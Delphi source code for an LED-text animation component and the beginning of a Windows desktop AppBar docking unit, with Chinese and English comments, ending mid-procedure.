function GetPoint(t:extended;s:integer;p1,p2:tpoint):tpoint;

function GetTwoPointLength(p1,p2:tpoint):extended;

implementation

uses unit1,main;

{ TLedText }

constructor TLedText.Create(AOwner: TComponent);

begin

inherited;

times:=0;

showpath:=true;

end;

destructor TLedText.destroy;

begin

inherited;

end;

{

返回值：-1 表示不在该路径的内部

0 表示处于某点的等待状态

1 表示处于某段

}

function TLedText.GetNameStr: string;

var

str:string;

sel:integer;

begin

getcontrolnamestr(name);

result:=str;

end;

function TLedText.GetStep(curpage: integer;var step:integer): integer;

var

i:integer;

temptotaltime,t,totaltime:extended;

begin

{计算每段需要花费的时间}

if totalpath<=1 then

begin

result:=-1;

exit;

end;

totaltime:=starttime;

for i:=0 to totalpath-2 do

begin

totaltime:=totaltime+path[i].waittime;

{如果在某点的等待时间内}

if curpage<=totaltime then

begin

result:=0;

exit;

end;

{计算当前点到下一点需要的时间}

t:=gettwopointlength(path[i].locate,path[i+1].locate) /path[i].speed ;

temptotaltime:=totaltime;

totaltime:=totaltime+t;

{在两点中间时候}

if curpage<=totaltime then

begin

stime:=curpage*1.0-temptotaltime;

step:=i+1;

result:=1;

exit;

end;

end;

result:=-1;

end;

procedure TLedText.loadfromstrings(strs: tstrings);

var

i:integer;

str:string;

begin

if strs.count<6 then exit;

font.name:=strs[1];

font.height:=strtoint(strs[2]);

font.color:=strtoint(strs[3]);

left:=strtoint(strs[4]);

top:=strtoint(strs[5]);

if strs[6]='不透明' then transparent:=false

else transparent:=true;

caption:='';

str:='';

for i:=0 to strs.count-8 do

begin

if i=strs.count-8 then str:=str+strs[i+7]

else str:=str+strs[i+7]+#13+#10;

end;

caption:=str;

end;

procedure TLedText.play(curpage:integer;cas:tcanvas);

var

i,step,ret:integer;

p:tpoint;

begin

{计算在时刻 curpage 时文字应处于的位置}

ret:=GetStep(curpage,step);

// form1.Label4.caption:=inttostr(step);

if (ret=-1) then

begin

left:=path[0].locate.x;

top:=path[0].locate.y;

end;

if ret<>1 then exit;

{获取文本位置}

if step=2 then

begin

end;

p:=GetPoint(stime,path[step-1].speed,path[step-1].locate,path[step].locate);

left:=p.x;

top:=p.y;

// form1.label1.caption:='x:'+inttostr(left);

// form1.label2.caption:='y:'+inttostr(top);

end;

function TLedText.savetostrings: tstrings;

var

strs:tstrings;

i:integer;

str,tempstr:string;

begin

strs:=tstringlist.create;

strs.add('[文本]');

strs.Add(font.name);

strs.add(inttostr(font.height));

strs.add(inttostr(font.color));

strs.add(inttostr(left));

strs.add(inttostr(top));

if transparent then strs.add('透明')

else strs.add('不透明');

strs.add(caption);

result:=strs;

end;

procedure TLedText.setnamestr(str: string);

var

tempstr:string;

begin

tempstr:=copy(name,1,4);

name:=tempstr+str;

end;

function TLedText.SetProperty:boolean;

var

strs:tstrings;

sel,i,ret:integer;

str:string;

begin

application.CreateForm(Tledtextproperdlg,properdlg);

try

showpath:=false;

ledtextdialog.ledtransparent:=transparent;

properdlg.Memo1.font:=font;

properdlg.memo1.lines.clear;

properdlg.editstart.text:=inttostr(starttime);

if not newtext then

begin

properdlg.memo1.lines.add(Caption);

properdlg.Edit1.text:=getcontrolnamestr(name);

end;

properdlg.edit1.text:=getcontrolnamestr(name);

{设置运动属性}

ledtextdialog.totalpath:=totalpath;

setlength(ledtextdialog.path,totalpath);

for i:=0 to totalpath-1 do

begin

ledtextdialog.path[i].locate:=path[i].locate;

ledtextdialog.path[i].waittime:=path[i].waittime;

ledtextdialog.path[i].speed:=path[i].speed;

end;

unit1.showpath:=true;

if totalpath<>0 then

begin

properdlg.pathcombox.Items.clear;

for i:=0 to totalpath-1 do

begin

properdlg.pathcombox.Items.add(inttostr(i+1));

end;

end

else

begin

properdlg.pathcombox.items.clear;

properdlg.Editx.text:='';

properdlg.Edity.text:='';

properdlg.Editspeed.text:='';

properdlg.Editstay.text:='';

end;

properdlg.newtext:=newtext;

properdlg.textname:=getcontrolnamestr(name);

if newtext then

begin

properdlg.memo1.font.color:=clred;

end;

ret:=properdlg.showmodal;

str:=caption;

caption:='';

code:=properdlg.Edit1.text;

if ret=mrok then result:=true else result:=false;

if ret<>mrok then

begin

caption:=str;

exit;

end;

strs:=properdlg.memo1.lines;

for i:=0 to strs.count-1 do

begin

if i<>strs.count-1 then

begin

caption:=caption+strs[i]+#13+#10;

end

else caption:=caption+strs[i];

end;

transparent:=properdlg.transbtn.checked;

font:=ledtextdialog.ledfont;

setcontrolnamestr(name,properdlg.edit1.text);

{设置开始时间}

{设置路径属性}

totalpath:=ledtextdialog.totalpath;

setlength(path,totalpath);

for i:=0 to totalpath-1 do

begin

path[i].locate:=ledtextdialog.path[i].locate;

path[i].waittime:=ledtextdialog.path[i].waittime;

path[i].speed:=ledtextdialog.path[i].speed;

end;

showhint:=true;

hint:=code;

finally

properdlg.Destroy;

showpath:=false;

form1.Invalidate;

selected:=true;

end;

end;

procedure TLedText.setselected(sel: boolean);

var

str1,str2:string;

len:integer;

begin

name:=setcontrolselected(name,sel);

end;

procedure TLedText.WMLButtonDown(var Message: TWMLBUTTONDOWN);

begin

inherited;

mousedown:=true;

oldx:=mouse.cursorpos.x;

oldy:=mouse.cursorpos.y;

end;

procedure TLedText.WMMOUSEMOVE(var Message: TWMMOUSEMOVE);

var

p,p1:tpoint;

begin

inherited;

if mousedown then

begin

{将文本移动到指定位置}

p:=mouse.CursorPos;

left:=left+p.x-oldx;

top:=top+p.y-oldy;

oldx:=p.x;

oldy:=p.y;

end;

end;

procedure TLedText.WMPaint(var Message: TWMPaint);

var

rect:trect;

r,g,b,i:integer;

begin

inherited;

{}

rect.left:=0;

rect.Top:=0;

rect.Right:=width;

rect.bottom:=height;

if selected then

begin

canvas.Brush.Style:=bsclear;

canvas.Pen.Style:=psDot;

canvas.pen.color:=clwhite+10;

canvas.Rectangle(rect);

end;

showpath:=false;

if showpath then

begin

form1.canvas.moveto(path[0].locate.x,path[0].locate.y);

for i:=1 to totalpath-1 do

begin

if totalpath=0 then break;

{画路径线}

form1.canvas.Pen.color:=clred;

form1.Canvas.lineto(path[i].locate.x,path[i].locate.y);

form1.canvas.moveto(path[i].locate.x,path[i].locate.y);

end;

end;

end;

procedure tledtext.WMSetFocus(var Message: TWMLBUTTONUP);

begin

inherited;

mousedown:=false;

selected:=not selected;

Invalidate;

{如果处于文字状态则修改}

setselected(selected);

if mainform.textbutton.down then

begin

newtext:=false;

setproperty;

end;

end;

{通用函数}

{计算两点已经经历的时间的位置}

function GetPoint(t:extended;s:integer;p1,p2:tpoint):tpoint;

var

p:tpoint;

thr,temp,len,tempreal:real;

intx,floatx:integer;

thrthr:real;

begin

if (p2.x=p1.x) then

begin

end;

temp:=(p2.y-p1.y) / (p2.x-p1.x);

tempreal:=temp;

thr:=arctan(abs(temp));

thrthr:=thr;

if tempreal>0 then

begin

if p1.x>p2.x then temp:=p1.x-(t*s)*cos(thrthr)

else temp:=p1.x+(t*s)*cos(thrthr);

val(floattostr(temp),intx,floatx);

p.x:=intx;

if p1.y>p2.y then temp:=p1.y-(t*s)*sin(thrthr)

else temp:=p1.y+(t*s)*sin(thrthr);

val(floattostr(temp),intx,floatx);

p.y:=intx;

end

else

begin

if p1.x>p2.x then temp:=p1.x-(t*s)*cos(thrthr)

else temp:=p1.x+(t*s)*cos(thrthr);

val(floattostr(temp),intx,floatx);

p.x:=intx;

if p1.y>p2.y then temp:=p1.y-(t*s)*sin(thrthr)

else temp:=p1.y+(t*s)*sin(thrthr);

val(floattostr(temp),intx,floatx);

p.y:=intx;

end;

result:=p;

end;

{计算当前时刻位于哪两点之中}

function GetTwoPointLength(p1,p2:tpoint):extended;

var

x:extended;

begin

x:=sqr(p2.y-p1.y)+sqr(p2.x-p1.x);

result:=sqrt(x);

end;

end.


实现应用程序桌面任务栏

//****************************************************************************

//说明：

// 实现应用程序桌面任务栏。（参考J.Richter′ s CAppBar MFC Class）

//版权：

// 版权 (c) 1997/98 Paolo Giacomuzzi

//EMail:

// MailTo:paolo.giacomuzzi@usa.net

//主页：

// http://www.geocities.com/SiliconValley/9486

//版本：

// 1.5

//修改时间：

// 杨军 于 2001.11.19

//****************************************************************************

unit AppBar;

interface

uses

Windows, Messages, SysUtils, Classes, Forms, Dialogs, Controls, ExtCtrls,

ShellApi, Registry,StrFuncs;

const

// AppBar′ s user notification message

WM_APPBARNOTIFY = WM_USER + 100;

// Timer interval

SLIDE_DEF_TIMER_INTERVAL = 400; // milliseconds

// Defaults

AB_DEF_SIZE_INC = 1;

AB_DEF_DOCK_SIZE = 32;

AB_DEF_ROOT_KEY = HKEY_CURRENT_USER;

AB_DEF_KEY_NAME = ′ Software′ ;

type

//应用程序工具栏异常处理类

AppBarExcption = class(TonyException)

end;

//***********************************************************************

//说明：

// You can send to the Windows shell one of the following messages:

// - Message Description

// * ABM_NEW Register a new AppBar to the system

// * ABM_REMOVE Remove a previously created AppBar from the system

// * ABM_QUERYPOS Query the AppBar position

// * ABM_SETPOS Set the AppBar position

// * ABM_GETSTATE Get the edge the Appbar is docked to

// * ABM_GETTASKBARPOS Get the Explorer Taskbar position

// * ABM_ACTIVATE Activate the AppBar

// * ABM_GETAUTOHIDEBAR Query if AppBar has Auto-hide behavior

// * ABM_SETAUTOHIDEBAR Set the AppBar′ s Auto-hide behavior

// The ABM_message constants are defined in SHELLAPI.PAS as follows:

// * ABM_NEW = $00000000;

// * ABM_REMOVE = $00000001;

// * ABM_QUERYPOS = $00000002;

// * ABM_SETPOS = $00000003;

// * ABM_GETSTATE = $00000004;

// * ABM_GETTASKBARPOS = $00000005;

// * ABM_ACTIVATE = $00000006;

// * ABM_GETAUTOHIDEBAR = $00000007;

// * ABM_SETAUTOHIDEBAR = $00000008;

// * ABM_WINDOWPOSCHANGED = $00000009;

//概述：

// 这个枚举类型定义了Windows Appbar Message的常量。

TAppBarMessage = (abmNew, abmRemove, abmQueryPos, abmSetPos, abmGetState,

abmGetTaskBarPos, abmActivate, abmGetAutoHideBar,

abmSetAutoHideBar, abmWindowPosChanged);

//说明：

// An AppBar can be in one of 6 states shown in the table below:

// - State Description

// * ABE_UNKNOWN The Appbar is in an unknown state

// * (usually during construction/destruction)

// * ABE_FLOAT The AppBar is floating on the screen

// * ABE_LEFT The Appbar is docked on the left edge of the screen

// * ABE_TOP The Appbar is docked on the top edge of the screen

// * ABE_RIGHT The Appbar is docked on the right edge of the screen

// * ABE_BOTTOM The Appbar is docked on the bottom edge of the screen

// The ABE_edge state constants are defined in SHELLAPI.PAS as follows:

// * ABE_LEFT = 0;

// * ABE_TOP = 1;

// * ABE_RIGHT = 2;

// * ABE_BOTTOM = 3;

// The ABE_UNKNOWN and ABE_FLOAT constants are defined here as follows:

// * ABE_UNKNOWN = 4;

// * ABE_FLOAT = 5;

//概述：

// 该枚举类型定义了Appbar的6种状态，每种状态是互斥的。

TAppBarEdge = (abeLeft, abeTop, abeRight, abeBottom, abeUnknown, abeFloat);

//说明：

// An AppBar can have several behavior flags as shown below:

// - Flag Description

// * ABF_ALLOWLEFT Allow dock on left of screen

// * ABF_ALLOWRIGHT Allow dock on right of screen

// * ABF_ALLOWTOP Allow dock on top of screen

// * ABF_ALLOWBOTTOM Allow dock on bottom of screen

// * ABF_ALLOWFLOAT Allow float in the middle of screen

//概述：

// 这个枚举类型定义了Appbar的行为标记。

TAppBarFlag = (abfAllowLeft, abfAllowTop, abfAllowRight, abfAllowBottom,

abfAllowFloat);

//概述：

// Appbar的行为表积集合。

TAppBarFlags = set of TAppBarFlag;

//概述：

// 这个枚举类型定义了Appbar在任务栏上的行为。

TAppBarTaskEntry = (abtShow, abtHide, abtFloatDependent);

//概述：

// The record below contains all of the AppBar settings that

// can be saved/loaded in/from the Registry

TAppBarSettings = record

Size: DWORD; // Size of this structure

abEdge: TAppBarEdge; // ABE_UNKNOWN, ABE_FLOAT, or ABE_edge

Flags: TAppBarFlags; // ABF_* flags

Autohide: Boolean; // Should AppBar be auto-hidden when docked?

AlwaysOnTop: Boolean; // Should AppBar always be on top?

SlideEffect: Boolean; // Should AppBar slide?

TimerInterval: Integer; // Slide Timer Interval (determines speed)

SizeInc: TSize; // Discrete width/height size increments

DockSize: TSize; // Width/Height for docked bar

FloatRect: TRect; // Floating rectangle in screen coordinates

MinWidth: Integer; // Min allowed width

MinHeight: Integer; // Min allowed height

MaxWidth: Integer; // Max allowed width

MaxHeight: Integer; // Max allowed height

MinDockSize: TSize; // Min Width/Height when docked

MaxDockSize: TSize; // Max Width/Height when docked

TaskEntry: TAppBarTaskEntry; // AppBar behavior in the Taskbar

end;

//概述

// The record below contains the settings location in the registry

TAppBarSettingsLocation = record

RootKey: Cardinal; // HKEY_CURRENT_USER or HKEY_LOCAL_MACHINE

KeyName: string; // Key Name starting from root

end;

//概述：

// TAppBar class 派生于TForm。

TAppBar = class(TForm)

private

{ Internal implementation state variables }

// This AppBar′ s settings info

FABSetting: TAppBarSettings;

// We need a member variable to store the settings location in the registry

FSettingsLocation: TAppBarSettingsLocation;

// We need a member variable which tracks the proposed edge of the

// AppBar while the user is moving it, deciding where to position it.

// While not moving, this member must contain ABE_UNKNOWN so that

// GetEdge returns the current edge contained in 属性 Options.abEdge.

// While moving the AppBar, FabEdgeProposedPrev contains the

// proposed edge based on the position of the AppBar. The proposed

// edge becomes the new edge when the user stops moving the AppBar.

FabEdgeProposedPrev: TAppBarEdge;

// We need a member variable which tracks whether a full screen

// application window is open

FbFullScreenAppOpen: Boolean;

// We need a member variable which tracks whether our autohide window

// is visible or not

FbAutoHideIsVisible: Boolean;

// We need a timer to to determine when the AppBar should be re-hidden

FTimer: TTimer;

{ Internal implementation functions }

// Modifies window creation flags

procedure CreateParams(var Params: TCreateParams); override;

// These functions encapsulate the shell′ s SHAppBarMessage function

function AppBarMessage(abMessage: TAppBarMessage;

abEdge: TAppBarEdge;

lParam: LPARAM;

bRect: Boolean;

var rc: TRect): UINT;

function AppBarMessage1(abMessage: TAppBarMessage): UINT;

function AppBarMessage2(abMessage: TAppBarMessage;

abEdge: TAppBarEdge): UINT;

function AppBarMessage3(abMessage: TAppBarMessage;

abEdge: TAppBarEdge;

lParam: LPARAM): UINT;

function AppBarMessage4(abMessage: TAppBarMessage;

abEdge: TAppBarEdge;

lParam: LPARAM;

var rc: TRect): UINT;

// Gets a edge (ABE_FLOAT or ABE_edge) from a point (screen coordinates)

function CalcProposedState(var pt: TSmallPoint): TAppBarEdge;

// Gets a retangle position (screen coordinates) from a proposed state

procedure GetRect(abEdgeProposed: TAppBarEdge; var rcProposed: TRect);

// Adjusts the AppBar′ s location to account for autohide

// Returns TRUE if rectangle was adjusted

function AdjustLocationForAutohide(bShow: Boolean;

var rc: TRect): Boolean;

// If AppBar is Autohide and docked, shows/hides the AppBar

procedure ShowHiddenAppBar(bShow: Boolean);

// When Autohide AppBar is shown/hidden, slides in/out of view

procedure SlideWindow(var rcEnd: TRect);

// Returns which edge we′ re autohidden on or ABE_UNKNOWN

function GetAutohideEdge: TAppBarEdge;

// Returns a TSmallPoint that gives the cursor position in screen coords

function GetMessagePosition: TSmallPoint;

// Changes the style of a window (translated from AfxModifyStyle)

function ModifyStyle(hWnd: THandle;

nStyleOffset: Integer;

dwRemove: DWORD;

dwAdd: DWORD;

nFlags: UINT): Boolean;

protected

{ Property selector functions }

BarIndent: Integer;

procedure AdjustClientRect(var Rect: TRect); override;

function CheckBoundsRect(var rc: TRect): boolean; virtual;

// Retrieves the AppBar′ s edge. If the AppBar is being positioned, its

// proposed state is returned instead

function GetEdge: TAppBarEdge;

// Changes the AppBar′ s edge to ABE_UNKNOWN, ABE_FLOAT or an ABE_edge

procedure SetEdge(EdgeValue: TAppBarEdge);

// Changes the slide time interval

procedure SetSlideTime(nInterval: Integer);

{ Overridable functions }

// Called when the AppBar′ s proposed state changes

procedure OnAppBarStateChange(bProposed: Boolean;

abEdgeProposed: TAppBarEdge); virtual;

// Called if user attempts to dock an Autohide AppBar on

// an edge that already contains an Autohide AppBar

procedure OnAppBarForcedToDocked; virtual;

// Called when AppBar gets an ABN_FULLSCREENAPP notification

procedure OnABNFullScreenApp(bOpen: Boolean); virtual;

// Called when AppBar gets an ABN_POSCHANGED notification

procedure OnABNPosChanged; virtual;

// Called when AppBar gets an ABN_WINDOWARRANGE notification

procedure OnABNWindowArrange(bBeginning: Boolean); virtual;

{ Message handlers }

// Called when the AppBar receives a WM_APPBARNOTIFY window message

procedure OnAppBarCallbackMsg(var Msg: TMessage); message WM_APPBARNOTIFY;

// Called when the AppBar form is first created

procedure OnCreate(var Msg: TWMCreate); message WM_CREATE;

// Called when the AppBar form is about to be destroyed

procedure OnDestroy(var Msg: TWMDestroy); message WM_DESTROY;

// Called when the AppBar receives a WM_WINDOWPOSCHANGED message

procedure OnWindowPosChanged(var Msg: TWMWindowPosChanged);

message WM_WINDOWPOSCHANGED;

// Called when the AppBar receives a WM_ACTIVATE message

procedure OnActivate(var Msg: TWMActivate); message WM_ACTIVATE;

// Called every timer tick

procedure OnAppBarTimer(Sender: TObject);

// Called when the AppBar receives a WM_NCMOUSEMOVE message

procedure OnNcMouseMove(var Msg: TWMNCMouseMove); message WM_NCMOUSEMOVE;

// Called when the AppBar receives a WM_NCHITTEST message

procedure OnNcHitTest(var Msg: TWMNCHitTest); message WM_NCHITTEST;

// Called when the AppBar receives a WM_ENTERSIZEMOVE message

procedure OnEnterSizeMove(var Msg: TMessage); message WM_ENTERSIZEMOVE;

// Called when the AppBar receives a WM_EXITSIZEMOVE message

procedure OnExitSizeMove(var Msg: TMessage); message WM_EXITSIZEMOVE;

// Called when the AppBar receives a WM_MOVING message

procedure OnMoving(var Msg: TMessage); message WM_MOVING;

// Called when the AppBar receives a WM_SIZING message

procedure OnSizing(var Msg: TMessage); message WM_SIZING;

// Called when the AppBar receives a WM_GETMINMAXINFO message

procedure OnGetMinMaxInfo(var Msg: TWMGetMinMaxInfo);

message WM_GETMINMAXINFO;

{ AppBar-specific helper functions }

// Returns TRUE if abEdge is ABE_LEFT or ABE_RIGHT, else FALSE is returned

function IsEdgeLeftOrRight(abEdge: TAppBarEdge): Boolean;

// Returns TRUE if abEdge is ABE_TOP or ABE_BOTTOM, else FALSE is returned

function IsEdgeTopOrBottom(abEdge: TAppBarEdge): Boolean;

// Returns TRUE if abEdge is ABE_FLOAT, else FALSE is returned

function IsFloating(abEdge: TAppBarEdge): Boolean;

// Returns TRUE if abFlags contain an at least allowed edge to dock on

function IsDockable(abFlags: TAppBarFlags): Boolean;

// Returns TRUE if abFlags contain abfAllowLeft and abfAllowRight

function IsDockableVertically(abFlags: TAppBarFlags): Boolean;

// Returns TRUE if abFlags contain abfAllowTop and abfAllowBottom

function IsDockableHorizontally(abFlags: TAppBarFlags): Boolean;

// Forces the shell to update its AppBar list and the workspace area

procedure ResetSystemKnowledge;

// Returns a proposed edge or ABE_FLOAT based on ABF_* flags and a

// point specified in screen coordinates

function GetEdgeFromPoint(abFlags: TAppBarFlags;

pt: TSmallPoint): TAppBarEdge;

public

{ Public member functions }

// Constructs an AppBar

constructor Create(Owner: TComponent); override;

// Destroys a previously created AppBar

destructor Destroy; override;

// Forces the AppBar′ s visual appearance to match its internal state

procedure UpdateBar; virtual;

// Loads settings from the registry at RootKey and KeyName location.

// Returns TRUE if the settings are available, else FALSE

function LoadSettings: Boolean; virtual;

// Saves settings into the registry at RootKey and KeyName location.

// Returns TRUE if succeeded, else FALSE

function SaveSettings: Boolean; virtual;

published

{ Properties }

//参数表

property Options: TAppBarSettings read FABSetting write FABSetting;

// store the settings location in the registry

property LocationSetting: TAppBarSettingsLocation read FSettingsLocation

write FSettingsLocation;

// Edge to dock on

property Edge: TAppBarEdge read GetEdge write SetEdge;

end;

implementation

{ Internal implementation functions }

{TAppBar}

// TAppBar.CreateParams

procedure TAppBar.CreateParams(var Params: TCreateParams);

var

dwAdd, dwRemove, dwAddEx, dwRemoveEx: DWORD;

begin

// Call the inherited first

inherited CreateParams(Params);

// Styles to be added

dwAdd := 0;

dwAddEx := WS_EX_TOOLWINDOW;

// Styles to be removed

dwRemove := WS_SYSMENU or WS_MAXIMIZEBOX or WS_MINIMIZEBOX;

dwRemoveEx := WS_EX_APPWINDOW;

// Modify style flags

with Params do

begin

Style := Style and (not dwRemove);

Style := Style or dwAdd;

ExStyle := ExStyle and (not dwRemoveEx);

ExStyle := ExStyle or dwAddEx;

end;

end;

// TAppBar.AppBarMessage

function TAppBar.AppBarMessage(abMessage: TAppBarMessage;

abEdge: TAppBarEdge;

lParam: LPARAM;

bRect: Boolean;

var rc: TRect): UINT;

var

abd: TAppBarData;

begin

// Initialize an APPBARDATA structure

abd.cbSize := sizeof(abd);

abd.hWnd := Handle;

abd.uCallbackMessage := WM_APPBARNOTIFY;

abd.uEdge := Ord(abEdge);

if bRect then

abd.rc := rc

else

abd.rc := Rect(0, 0, 0, 0);

abd.lParam := lParam;

Result := SHAppBarMessage(Ord(abMessage), abd);

// If the caller passed a rectangle, return the updated rectangle

if bRect then

rc := abd.rc;

end;

// TAppBar.AppBarMessage1

function TAppBar.AppBarMessage1(abMessage: TAppBarMessage): UINT;

var

rc: TRect;

begin

Result := AppBarMessage(abMessage, abeFloat, 0, False, rc);

end;

// TAppBar.AppBarMessage2

function TAppBar.AppBarMessage2(abMessage: TAppBarMessage;

abEdge: TAppBarEdge): UINT;

var

rc: TRect;

begin

Result := AppBarMessage(abMessage, abEdge, 0, False, rc);

end;

// TAppBar.AppBarMessage3

function TAppBar.AppBarMessage3(abMessage: TAppBarMessage;

abEdge: TAppBarEdge;

lParam: LPARAM): UINT;

var

rc: TRect;

begin

Result := AppBarMessage(abMessage, abEdge, lParam, False, rc);

end;

// TAppBar.AppBarMessage4

function TAppBar.AppBarMessage4(abMessage: TAppBarMessage;

abEdge: TAppBarEdge;

lParam: LPARAM;

var rc: TRect): UINT;

begin

Result := AppBarMessage(abMessage, abEdge, lParam, True, rc);

end;

// TAppBar.CalcProposedState

function TAppBar.CalcProposedState(var pt: TSmallPoint): TAppBarEdge;

var

bForceFloat: Boolean;

begin

// Force the AppBar to float if the user is holding down the Ctrl key

// and the AppBar′ s style allows floating

bForceFloat := ((GetKeyState(VK_CONTROL) and $8000) <> 0) and

(abfAllowFloat in Options.Flags);

if bForceFloat then

Result := abeFloat

else

Result := GetEdgeFromPoint(Options.Flags, pt);

end;

// TAppBar.GetRect

//修改时间：杨军 修改于2001.11.21

procedure TAppBar.GetRect(abEdgeProposed: TAppBarEdge;

var rcProposed: TRect);

begin

// This function finds the x, y, cx, cy of the AppBar window

if abEdgeProposed = abeFloat then

begin

// The AppBar is floating, the proposed rectangle is correct

end

else

begin

// The AppBar is docked or auto-hide

// Set dimensions to full screen

with rcProposed do

begin

Left := 0;

Top := 0;

Right := GetSystemMetrics(SM_CXSCREEN);

Bottom := GetSystemMetrics(SM_CYSCREEN);

end;

// Subtract off what we want from the full screen dimensions

if not Options.Autohide then

// Ask the shell where we can dock

AppBarMessage4(abmQueryPos, abEdgeProposed, LPARAM(False), rcProposed);

case abEdgeProposed of

abeLeft:

rcProposed.Right := rcProposed.Left + Options.DockSize.cx;

abeTop:

rcProposed.Bottom := rcProposed.Top + Options.DockSize.cy;

abeRight:

rcProposed.Left := rcProposed.Right - Options.DockSize.cx;

abeBottom:

rcProposed.Top := rcProposed.Bottom - Options.DockSize.cy;

end; // end of case

end; // end of else

//在此检查Form 的大小

CheckBoundsRect(rcProposed);

end;

//检查Form的尺寸

function TAppBar.CheckBoundsRect(var rc: TRect): boolean;

begin

Result := (rc.Left <> BoundsRect.Left) or

(rc.Right <> BoundsRect.Right) or

(rc.Top <> BoundsRect.Top) or

(rc.Bottom <> BoundsRect.Bottom);

end;

// TAppBar.AdjustLocationForAutohide

function TAppBar.AdjustLocationForAutohide(bShow: Boolean;

var rc: TRect): Boolean;

var

x, y: Integer;

cxVisibleBorder, cyVisibleBorder: Integer;

begin

if ((GetEdge = abeUnknown) or (GetEdge = abeFloat) or

(not Options.Autohide)) then

begin

// If we are not docked on an edge OR we are not auto-hidden, there is

// nothing for us to do; just return

Result := False;

Exit;

end;

// Showing/hiding doesn′ t change our size; only our position

x := 0;

y := 0; // Assume a position of (0, 0)

if bShow then

// If we are on the right or bottom, calculate our visible position

case GetEdge of

abeRight:

x := GetSystemMetrics(SM_CXSCREEN) - (rc.Right - rc.Left);

abeBottom:

y := GetSystemMetrics(SM_CYSCREEN) - (rc.Bottom - rc.Top);

end

else

begin

// Keep a part of the AppBar visible at all times

cxVisibleBorder := 2 * GetSystemMetrics(SM_CXBORDER);

cyVisibleBorder := 2 * GetSystemMetrics(SM_CYBORDER);

// Calculate our x or y coordinate so that only the border is visible

case GetEdge of

abeLeft:

x := -((rc.Right - rc.Left) - cxVisibleBorder);

abeRight:

x := GetSystemMetrics(SM_CXSCREEN) - cxVisibleBorder;

abeTop:

y := -((rc.Bottom - rc.Top) - cyVisibleBorder);

abeBottom:

y := GetSystemMetrics(SM_CYSCREEN) - cyVisibleBorder;

end;

end;

with rc do

begin

Right := x + (Right - Left);

Bottom := y + (Bottom - Top);

Left := x;

Top := y;

end;

Result := True;

end;

// TAppBar.ShowHiddenAppBar

procedure TAppBar.ShowHiddenAppBar(bShow: Boolean);

var

rc: TRect;

begin

// Get our window location in screen coordinates

GetWindowRect(Handle, rc);

// Assume that we are visible

FbAutoHideIsVisible := True;

if AdjustLocationForAutohide(bShow, rc) then

begin

// the rectangle was adjusted, we are an autohide bar

// Remember whether we are visible or not

FbAutoHideIsVisible := bShow;

// Slide window in from or out to the edge

SlideWindow(rc);

end;

end;

// TAppBar.SlideWindow

procedure TAppBar.SlideWindow(var rcEnd: TRect);

var

bFullDragOn: LongBool;

rcStart: TRect;

dwTimeStart, dwTimeEnd, dwTime: DWORD;

x, y, w, h: Integer;

begin

// Only slide the window if the user has FullDrag turned on

SystemParametersInfo(SPI_GETDRAGFULLWINDOWS, 0, @bFullDragOn, 0);

// Get the current window position

GetWindowRect(Handle, rcStart);

if (Options.SlideEffect and bFullDragOn and

((rcStart.Left <> rcEnd.Left) or

(rcStart.Top <> rcEnd.Top) or

(rcStart.Right <> rcEnd.Right) or

(rcStart.Bottom <> rcEnd.Bottom))) then

begin

// Get our starting and ending time

dwTimeStart := GetTickCount;

dwTimeEnd := dwTimeStart + Options.TimerInterval;

dwTime := dwTimeStart;

while (dwTime < dwTimeEnd) do

begin

// While we are still sliding, calculate our new position

x := rcStart.Left - (rcStart.Left - rcEnd.Left)

* Integer(dwTime - dwTimeStart) div Options.TimerInterval;

y := rcStart.Top - (rcStart.Top - rcEnd.Top)

* Integer(dwTime - dwTimeStart) div Options.TimerInterval;

w := (rcStart.Right - rcStart.Left)

- ((rcStart.Right - rcStart.Left) - (rcEnd.Right - rcEnd.Left))

* Integer(dwTime - dwTimeStart) div Options.TimerInterval;

h := (rcStart.Bottom - rcStart.Top)

- ((rcStart.Bottom - rcStart.Top) - (rcEnd.Bottom - rcEnd.Top))

* Integer(dwTime - dwTimeStart) div Options.TimerInterval;

// Show the window at its changed position

SetWindowPos(Handle, 0, x, y, w, h,

SWP_NOZORDER or SWP_NOACTIVATE or SWP_DRAWFRAME);

UpdateWindow(Handle);

dwTime := GetTickCount;

end;

end;

// Make sure that the window is at its final position

Left := rcEnd.Left;

Top := rcEnd.Top;

Width := rcEnd.Right - rcEnd.Left;

Height := rcEnd.Bottom - rcEnd.Top;

end;

// TAppBar.GetAutohideEdge /

function TAppBar.GetAutohideEdge: TAppBarEdge;

begin

if Handle = AppBarMessage2(abmGetAutoHideBar, abeLeft) then

Result := abeLeft

else if Handle = AppBarMessage2(abmGetAutoHideBar, abeTop) then

Result := abeTop

else if Handle = AppBarMessage2(abmGetAutoHideBar, abeRight) then

Result := abeRight

else if Handle = AppBarMessage2(abmGetAutoHideBar, abeBottom) then

Result := abeBottom

else

// NOTE: If AppBar is docked but not auto-hidden, we return ABE_UNKNOWN

Result := abeUnknown;

end;

// TAppBar.GetMessagePosition /

function TAppBar.GetMessagePosition: TSmallPoint;

var

pt: TSmallPoint;

dw: DWORD;

begin

dw := GetMessagePos;

pt.X := SHORT(dw);

pt.Y := SHORT((dw and $FFFF0000) shr 16);

Result := pt;

end;

// TAppBar.ModifyStyle

function TAppBar.ModifyStyle(hWnd: THandle;

nStyleOffset: Integer;

dwRemove: DWORD;

dwAdd: DWORD;

nFlags: UINT): Boolean;

var

dwStyle: DWORD;

dwNewStyle: DWORD;

begin

dwStyle := GetWindowLong(hWnd, nStyleOffset);

dwNewStyle := (dwStyle and (not dwRemove)) or dwAdd;

if dwStyle = dwNewStyle then

begin

Result := False;

Exit;

end;

SetWindowLong(hWnd, nStyleOffset, dwNewStyle);

if nFlags <> 0 then

SetWindowPos(hWnd, 0, 0, 0, 0, 0,

SWP_NOSIZE or SWP_NOMOVE or SWP_NOZORDER or SWP_NOACTIVATE or nFlags);

Result := True;

end;

{ Property selector functions }

// TAppBar.GetEdge /

function TAppBar.GetEdge: TAppBarEdge;

begin

if FabEdgeProposedPrev <> abeUnknown then

Result := FabEdgeProposedPrev

else

Result := Options.abEdge;

end;

// TAppBar.SetEdge /

procedure TAppBar.SetEdge(EdgeValue: TAppBarEdge);

var

abCurrentEdge: TAppBarEdge;

currentRect: TRect;

rc: TRect;

hWnd: THandle;

begin

// If the AppBar is registered as auto-hide, unregister it

abCurrentEdge := GetAutohideEdge;

// Our AppBar is auto-hidden, unregister it

if abCurrentEdge <> abeUnknown then

AppBarMessage3(abmSetAutoHideBar, abCurrentEdge, LPARAM(False));

// Save the new requested state

with Options do

abEdge := EdgeValue;

//

case EdgeValue of

abeUnknown:

begin

// We are being completely unregistered.

// Probably, the AppBar window is being destroyed.

